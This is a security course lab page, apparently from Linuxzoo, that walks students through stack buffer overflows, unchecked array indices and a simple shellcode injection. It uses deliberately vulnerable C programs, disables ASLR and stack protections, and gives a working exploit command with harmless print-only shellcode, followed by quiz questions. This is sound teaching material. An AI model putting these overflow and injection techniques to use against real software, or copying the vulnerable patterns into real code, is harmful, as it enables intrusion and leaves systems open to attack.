If you can see this check that

Main Page

Week 5A - Introduction to Vulnerabilities


Introduction to Vulnerabilities

User:
Password:
This gives an essential introduction to understanding basic vulnerabilities, such as buffer overflow, range checking, and stack corruption. It also includes a short tutorial on shell code injection. This is all within kali using C++ and gdb, the linux debugger.

To reset all the check buttons from a previous attempt click here

Question 1: Basic debugging

Create a file "overflow.c" and put the following program into the file:

#include <stdio.h>
#include <string.h>

int main() {
 // 5 byte buffer, which is 4 characters plus the null terminator
 char buff[5];

 // Copy 5 bytes to string buff
 strcpy(buff,"Rich");

 // print the string
 printf ("Hello %s\n",buff);
}

Compile this program with

gcc overflow.c -o overflow -g -fno-stack-protector -zexecstack
In order to make life simple, this compiles the code with the debugger enabled, and switches off some of the compiler security features which would otherwise make the example much more complex to perform.

The program "overflow" is then ready for executing. To make the program easier to understand in the debugger, switch the stack randomization protection off in the Operating System.

echo "0" > /proc/sys/kernel/randomize_va_space

Try running overflow normally.

./overflow

Tests - not attempted
Script overflow seems to work UNTESTED
Randomization disabled UNTESTED

Run the executable using the debugger

gdb overflow
Use the "list" command to see the code. When you do this you only see the first few lines of the file. To see the next lines press "return" (pressing return on a blank line actually runs the last command you tried again, e.g. "list").

As you can see, the main (the only) routine here is called "main". Dissassemble the routine "main" (i.e. show the assembly code for this routine).

(gdb) disassemble main

This shows the code in a format like:

   0x0000000000400523 <+23>:    mov    %rax,%rsi
   0x0000000000400526 <+26>:    mov    $0x4005ec,%edi
   0x000000000040052b <+31>:    mov    $0x0,%eax
   0x0000000000400530 <+36>:    callq  0x4003e0 <printf@plt>
   0x0000000000400535 <+41>:    leaveq
   0x0000000000400536 <+42>:    retq
Ignoring the "0x000...:" part, what is the first instruction of "main". So in the case of the example above, it would be "mov %rax,%rsi". Dont include any unneeded spaces. First instruction:

Tests - not attempted
Address of items UNTESTED

While still in the debugger, list the program again. To start listing again from line 1 you may need the command "list 1".

Find the line with 'strcpy(buff,"Rich");', and set a breakpoint on that line. The command is "break" followed by the line number.

Now run the program using "run" in the debugger, and it should automatically stop running at the breakpoint. Once this is done try:

print buff
This should show you the contents of "buff", which contains random data as it has never been initialised. The address where "buff" lives in memory can be found by putting an ampersand in front of the variable:
print &buff
Execute the "strcpy" line using the command "next", which steps on to the next command (the printf). Now repeat the "print buff" command. It should now have the value "Rich".

Further investigate at this point using the following commands;

info reg rbp rsp
info frame
The frame holds the return address of the code which called "main". This is in the "Saved registers", and is called the "rip". This is saved in the stack at a particular address as shown. The "buff" variable is also in the stack, as you discovered with the "print" command above.

Subtract the address of buff from the address where the rip is saved ("rip at"). How many bytes is between the addresses (answer in decimal)?

Tests - not attempted
Bytes to return address UNTESTED

Copy "overflow.c" to "overflow2.c". In "overflow2.c" change the string "Rich" to be a long string made of "A" characters. The number of A character should be 4 plus the difference between the addresses you calculated in the previous question. So, if the difference was 10, you need 14 "A" characters, e.g.

  strcpy(buff,"AAAAAAAAAAAAAA");
This should cause a buffer overflow where the strcpy will overwrite the 4 low bytes of the rip with ascii A characters. It will also overwrite the next byte with 0x0, as the null in the null terminated string is also copied.

Once the changes are made, compile this code as before, except make the output "overflow2". Run the code. What error do you get?

Error:

Tests - not attempted
Error generated UNTESTED

Use the debugger on overflow2. Set a breakpoint on the strcpy command. Run the code. Once at the breakpoint, do

  info frame
Note the current VALUE of the "save rip". Now "next". Repeat the "info frame". What has happened to the "saved rip"?

Saved Rip least significant 5 bytes
So if the saved rip is 0x7f1122334455, the answer is 1122334455.

Tests - not attempted
Overwritten rip UNTESTED

Question 2: Target 1

Create a file "test1.cc" and put the following program into the file:

#include <stdio.h>
#include <stdlib.h>

int main(int argc,char **argv) {
 if (argc < 3) {
    printf ("Not enough parameters: enter item discount\n");
    exit(1);
 }
 int total=0;
 int items[4] = { 10,15,17,22 };
 int item=atoi(argv[1]);
 int discount=atoi(argv[2]);
 items[item]-=discount;
 for (int i=0; i<4; i++) {
   if (items[i] < 0) items[i] = 0;
   printf ("Charge id: %d, price %d\n",i,items[i]);
   total+=items[i];
 }
 printf ("Total: %d\n",total);
}

Compile this program with

g++ -g test1.cc

This represents a silly little example where everyone gets a bill with 4 items (components) to it. Everyone is allowed one item to get a discount, and that discount can be any number.

So "./a.out 1 0" gives a 0 discount to item 1, "./a.out 1 5" gives a 5 pounds discount to item 1, "./a.out 3 10" gives a 10 pound discount to item 3.

Tests - not attempted
Script a.out seems to work UNTESTED

The code has some safety protection. For instance, "a.out 0 0" would give:

Charge id: 0, price 10
Charge id: 1, price 15
Charge id: 2, price 17
Charge id: 3, price 22
Total: 64
However "a.out 0 20" does not give id:0 for "-10" pounds. There is a safety check that forces all prices to be a minimum of zero.

If you were trying to get the best possible price by running this program, what is the lowest possible price you can get the parameters "0 100", "1 100", "2 100", or "3 100"?
Best price?:

Tests - not attempted
Script a.out seems to work UNTESTED
Best normal price UNTESTED

Note that there is no bounds check to make sure the first parameter is between 0 and 3. If you were to use larger ids, then the program would exceed the limits of the array "items" and start to write things between its address and the top of the stack. This would effectively allow us to corrupt the stack, and we can use this to change things we should not be able to change...

  • Run gdb (the debugger) on the a.out, e.g. "gdb a.out".
  • Find the line number using "list" in gdb which is "items[item]-=discount"
  • use that in "break lineno", so if the line is 15 do "break 15"
  • type "run 0 0" (run the a.out in gdb with parameters 0 0)
  • It should Breakpoint a the line you identified earlier
  • Do "print &items" (the address of items in memory)
  • print &total (the address of total in memory)
  • Subtract the address of items from the address of total

Bytes between variables:

Tests - not attempted
Script a.out seems to work UNTESTED
Address of items UNTESTED

Given that "items" is made up of 4 byte integers, each +1 to the index will increase the address by 4. What index of items would therefore refer to the contents of "total"?

Index of items for the contents of "total":

Tests - not attempted
Script a.out seems to work UNTESTED
Item index for total UNTESTED

Use this knowledge and run "a.out" with the first parameter being the index identified above, and the second parameter being a number which when subtracted from the running total would result in the total calculated price being 0.

What were the parameters of a.out to get a total of zero?
Parameter 1:
Parameter 2:

Tests - not attempted
Script a.out seems to work UNTESTED
Parameter 1 ok UNTESTED
Parameter 2 ok UNTESTED

Question 3: Target 2

Create a file "test2.cc" and safe the following source code into that file.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc,char **argv) {
  if (argc < 2) {
    printf ("Not enough parameters: enter your reference code\n");
    printf ("Maximum of 7 characters in your code\n");
    exit(1);
  }
  int basket=550;
  char code[8];
  strcpy(code,argv[1]);
  printf ("Your ref: %s. The bill is %d\n",code,basket);
}
This program replicates the internals of a site which finalises your shopping cart bill. It is called with a user-defined reference which will appear on the bill, along with the basket total of 550 pounds.

Compile the program as before, and try running this new a.out with the a user-defined reference, such as "abc123".

Tests - not attempted
Script a.out seems to work UNTESTED

The user ref is only allowed to have 7 characters (plus a null character). If too much is stored in the code array it will overflow and end up overwriting the value of basket.

Slowly try increasing the size of the user reference parameter of a.out. For instance, try

./a.out gordonxx
./a.out gordonxxx
and so on.

At what length of string does the string start to interfere with the value of the basket? Remember there is a NULL at the end of the string when it is encoded into the computer, so add 1 to the string length you see.
overrun:

Tests - not attempted
Script a.out seems to work UNTESTED
Script ready UNTESTED

When the string only just overflows into the basket variable, the variables least significant bit is changed from its current value to that of the NULL character (hex 0x00). Thus the current value 0x226 has 0x02 in its second most significant place, and 0x26 in the least significant place. Writing 0x00 over the least significant place leaves 0x200, or 512 decimal.

Use this knowledge to find the shortest string possible which sets the bill when running a.out to be 55 pounds only.

In doing this you need to try different parameters for the user reference. Limit yourself to using either "x" where the character makes no difference to the price, or the actual character required to make the bill 55 pounds. An ASCII chart might help...

What is the user reference needed?
ref:

Tests - not attempted
Reference produces 55 pounds UNTESTED

If you wanted to set the basket to 12627 pounds, what would you need to use as the reference. Again use 'x' where it makes no difference, and the appropriate other characters to get to 12627. Use the minimum number of characters to do this.

What is the user reference needed?
ref:

Tests - not attempted
Reference produces 55 pounds UNTESTED

Question 4: Target 3

In this set of questions we are going to perform a very simple shellcode insertion. Example adapted from https://www.soldierx.com/tutorials/Stack-Smashing-Modern-Linux-System

Create a trivial program test3.c:

#include <string.h>
#include <stdio.h>

void go(char *data) {
    char name[64];
    printf("target: %p\n", name);  // Print address of buffer.
    strcpy(name, data);
}

int main(int argc, char **argv) {
    go(argv[1]);
}
All this does is ask for a parameter on the command line. But it does have a buffer overflow problem. To make life easier, it also prints the address we are going to use for our code injection. In real life you might have to do a range of other things to work this out.

Compile the program with

gcc test3.c -zexecstack -fno-stack-protector -g
Before you go further, also do:
echo "0" > /proc/sys/kernel/randomize_va_space
This is much much harder with a randomised heap...

Run the gdb on a.out, use "list" and find the line with "strcpy" on it, and set a breakpoint on that line. Now "run hia" (run the program with argv[1] set to "hia"). Get the address of "name" (which is the buffer we are going to overflow) by doing "print &name". Get the location of the "rip" saved register in the stack by doing "info frame". Subtract these two numbers and you will have the number of bytes from the start of the "name" buffer to the return address. What is that offset in decimal?
Bytes to return address:

Tests - not attempted
Randomisation disabled UNTESTED
Bytes to return address UNTESTED

To inject the code we need to run the target in as similar a way as possible to when we actually put in the shellcode. The shellcode itself is 45 bytes long, but we will need to pad this out to the byte length between name and the return address on the stack (as you discovered before). The address we will use to overwrite the current return address is 6 bytes long, so 6 plus the number discovered gives you 78 characters in the injection. For the next step we will just use 0xff for the shellcode. Some perl saves typing...

Run the program once and identify the address of the target buffer. For simplicity, run it using the following line:

env - ./a.out `perl -e 'print "\xff"x78'`
This runs the executable without any environmental variables. These are variables which describe the execution environment, such as the PATH, but can change dynamically over time and as they are stored in the stack you might find the stack address change... Without this, small changes in the way you execute the program can change the address, and cause the hack to fail.
target address:

Tests - not attempted
Address identified UNTESTED

Rewrite that address into little endian, and put "\x" in front of each byte. So if you had 0x0x7fffffff1130, it would become \x30\x11\xff\xff\xff\x7f.
little endian target address:

Tests - not attempted
Address identified UNTESTED

Run the following, substituting the \xff\xff\xff\xff\xff\xff at the end of the string for the string you calculated in the previous question.

env - ./a.out `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\
\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\
\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21"\
 . "A"x27 . "\xff\xff\xff\xff\xff\xff"'`
Bad news. It probably crashed with an illegal instruction. You have probably caused, by using a long string, for the target address to change. This was caused by the variable itself being pushed onto the stack before main ran. These side effects are what makes writing vulnerabilities hard!.

Look in the output for "target:" again, and redo the calculations above with the new address. Reinsert that new string into the code, and retry. If you succeed you should see a short word get printed, beginning with "H" and ending with "!", as basically this shellcode only inserts code to do:

printf ("H.......!");
What message gets printed in this shellcode (case, punctuation, and space sensitive)?
message:

Tests - not attempted
Name found UNTESTED

Run gdb on the above hack to analyse it. It is a little tricky, but the easiest way is to replace "env -" with "gdb --args" in the command you just used.

Use "list" and again set the breakpoint at the strcpy. Then just type "run". You might get a little screen corruption as the shellcode is binary, but just hit return.

The shell code is in "data", so find out the address of data, e.g. "print data".

Disassemble the first 16 instructions of the shellcode. Use "x/16i data". What is the first instruction opcode?
Opcode 1:
Now use "x/45c data" and view the shellcode as ascii characters. How many bytes into the shellcode does the string start on which gets printed when this shellcode runs? Format it as a decimal number. You can confim your own number by trying "x/5c data+10", where 10 is replaced with what you think the right answer is. If you can see the string starting there then you are right! You can reconfim this using "x/1s data+10", which prints the first null terminated string it finds. Again replace 10 with the right answer.
String address:

Tests - not attempted
Opcode 1 UNTESTED
String address UNTESTED


Centos 7 intro: Paths | BasicShell | Search
Linux tutorials: intro1 intro2 wildcard permission pipe vi essential admin net SELinux1 SELinux2 fwall DNS diag Apache1 Apache2 log Mail
Caine 10.0: Essentials | Basic | Search | Acquisition | SysIntro | grep | MBR | GPT | FAT | NTFS | FRMeta | FRTools | Browser | Mock Exam |
CPD: Cygwin | Paths | Files and head/tail | Find and regex | Sort | Log Analysis
Kali: 1a | 1b | 1c | 2 | 3 | 4a | 4b | 5 | 6 | 7a | 8a | 8b | 9 | 10 |
Kali 2020-4: 1a | 1b | 1c | 2 | 3 | 4a | 4b | 5 | 6 | 7 | 8a | 8b | 9 | 10 |
Useful: Quiz | Forums | Privacy Policy | Terms and Conditions

Linuxzoo created by Gordon Russell.
@ Copyright 2004-2023 Edinburgh Napier University